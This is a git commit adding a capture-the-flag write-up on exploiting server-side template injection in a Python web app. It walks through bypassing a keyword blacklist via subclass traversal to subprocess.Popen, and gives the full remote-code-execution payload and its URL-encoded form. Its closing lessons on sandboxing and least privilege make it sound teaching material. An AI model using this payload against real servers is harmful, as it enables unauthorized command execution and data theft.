Added writeups
This commit is contained in:
108
render_me_this_one_more_time.md
Normal file
108
render_me_this_one_more_time.md
Normal file
@@ -0,0 +1,108 @@
|
||||
# Render Me This (One More Time)
|
||||
|
||||
Welcome to the write-up for **Render Me This (One More Time)**. This is the sequel to the previous SSTI challenge, featuring "improved" security filters.
|
||||
|
||||
We are once again tasked with exploiting a **Server-Side Template Injection (SSTI)** vulnerability to read the flag, but this time we must bypass a strict blacklist that blocks most standard attack vectors.
|
||||
|
||||
---
|
||||
|
||||
## 1. Initial Reconnaissance
|
||||
|
||||
The challenge is identical to the previous one, but with a new description:
|
||||
> "We upgraded our security filters. We realized that letting people import stuff was a bad idea, so we banned all the dangerous keywords."
|
||||
|
||||
This implies that our previous payload (which used `import`, `os`, and `popen`) will be blocked.
|
||||
|
||||
## 2. Source Code Analysis
|
||||
|
||||
Let's examine the new `app.py` to see the restrictions:
|
||||
|
||||
```python
|
||||
BLACKLIST = [
|
||||
"import", "os", "system", "popen", "flag", "config", "eval", "exec",
|
||||
"request", "url_for", "self", "g", "process",
|
||||
"+", "~", "%", "format", "join", "chr", "ascii"
|
||||
]
|
||||
```
|
||||
|
||||
This is a **heavy** blacklist.
|
||||
* **No Global Objects:** We cannot use `request`, `url_for`, or `self` to access the global scope (`__globals__`).
|
||||
* **No String Construction:** We cannot use `+` or `join` to bypass keyword filters (e.g., `'o'+'s'` is blocked).
|
||||
* **No Formatting:** We cannot use string formatting tricks.
|
||||
|
||||
This forces us to find a way to execute code using only the objects already available in the template context (like strings `""` or lists `[]`) and traversing their inheritance hierarchy.
|
||||
|
||||
## 3. The Vulnerability: MRO Traversal
|
||||
|
||||
In Python, every object has a method resolution order (MRO) that defines the class hierarchy. We can use this to our advantage to access powerful classes without needing to import anything.
|
||||
|
||||
### Step 1: Accessing the Base Object
|
||||
We start with a simple empty list `[]`. In Python, `[]` is an instance of the `list` class.
|
||||
`{{ [].__class__ }}` --> `<class 'list'>`
|
||||
|
||||
From the `list` class, we can go up one level to its parent class, which is `object`.
|
||||
`{{ [].__class__.__base__ }}` --> `<class 'object'>`
|
||||
|
||||
### Step 2: Listing All Subclasses
|
||||
The `object` class is the root of all classes in Python. Crucially, it has a method called `__subclasses__()` that returns a list of **every single class** currently loaded in the application.
|
||||
|
||||
`{{ [].__class__.__base__.__subclasses__() }}`
|
||||
|
||||
If you inject this payload into the URL (`?name={{[].__class__.__base__.__subclasses__()}}`), the page will display a massive list of classes like:
|
||||
`[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, ... <class 'subprocess.Popen'>, ...]`
|
||||
|
||||
### Step 3: Finding `subprocess.Popen`
|
||||
We need to find the index of the `subprocess.Popen` class in this list. This class allows us to spawn new processes and execute system commands.
|
||||
|
||||
You can copy the output from the webpage into a text editor and search for "subprocess.Popen". Alternatively, you can write a small script to find the index locally (if you have the same environment).
|
||||
In this specific challenge environment, `subprocess.Popen` is located at index **361**.
|
||||
|
||||
(Note: If 361 doesn't work, you might need to try surrounding numbers like 360 or 362, as the index can vary slightly depending on the Python version and installed libraries).
|
||||
|
||||
### Step 4: Instantiating Popen
|
||||
Now that we have the class (at index 361), we can instantiate it just like calling a function. We want to execute a shell command.
|
||||
|
||||
The `Popen` constructor takes a command as a list or string. We also need to set `shell=True` to run shell commands and `stdout=-1` to capture the output.
|
||||
|
||||
`...[361]('command', shell=True, stdout=-1)`
|
||||
|
||||
### Step 5: Bypassing the "flag" Filter
|
||||
We want to run `cat flag.txt`. However, the word "flag" is in the `BLACKLIST`.
|
||||
We can easily bypass this using a shell wildcard: `cat fl*`.
|
||||
The shell will expand `fl*` to `flag.txt` automatically.
|
||||
|
||||
So our command is: `'cat fl*'`
|
||||
|
||||
### Step 6: Reading the Output
|
||||
The `Popen` object creates a process, but it doesn't return the output directly. We need to call the `.communicate()` method on the created process object. This method waits for the command to finish and returns a tuple containing `(stdout, stderr)`.
|
||||
|
||||
## 4. The Final Payload
|
||||
|
||||
Putting it all together, we construct the full injection:
|
||||
|
||||
1. Start with a list: `[]`
|
||||
2. Get the `object` class: `.__class__.__base__`
|
||||
3. Get all subclasses: `.__subclasses__()`
|
||||
4. Select `subprocess.Popen`: `[361]`
|
||||
5. Instantiate with command: `('cat fl*', shell=True, stdout=-1)`
|
||||
6. Get output: `.communicate()`
|
||||
|
||||
**Final Payload:**
|
||||
`{{ [].__class__.__base__.__subclasses__()[361]('cat fl*', shell=True, stdout=-1).communicate() }}`
|
||||
|
||||
**Encoded URL:**
|
||||
`?name={{[].__class__.__base__.__subclasses__()[361]('cat%20fl*',shell=True,stdout=-1).communicate()}}`
|
||||
|
||||
## 5. The Solution
|
||||
|
||||
Submit the encoded URL to the server. The page will render the output of the command, revealing the flag.
|
||||
|
||||
**Flag:** `{flag:MRO_Trav3rsal_Is_The_Way_To_Go}`
|
||||
|
||||
---
|
||||
|
||||
## Lessons Learned
|
||||
|
||||
* **Blacklisting is Futile:** Even with strict filters blocking global objects and string manipulation, the fundamental nature of Python's object model allows for code execution via MRO traversal.
|
||||
* **Sandboxing is Hard:** If you must allow user-submitted code/templates, you need a robust sandbox (like removing `__subclasses__` or using a secure template engine like Jinja2's `SandboxedEnvironment`), not just a word filter.
|
||||
* **Least Privilege:** Ensure the web application runs with minimal permissions so that even if code execution is achieved, the damage is limited.
|
||||
Reference in New Issue
Block a user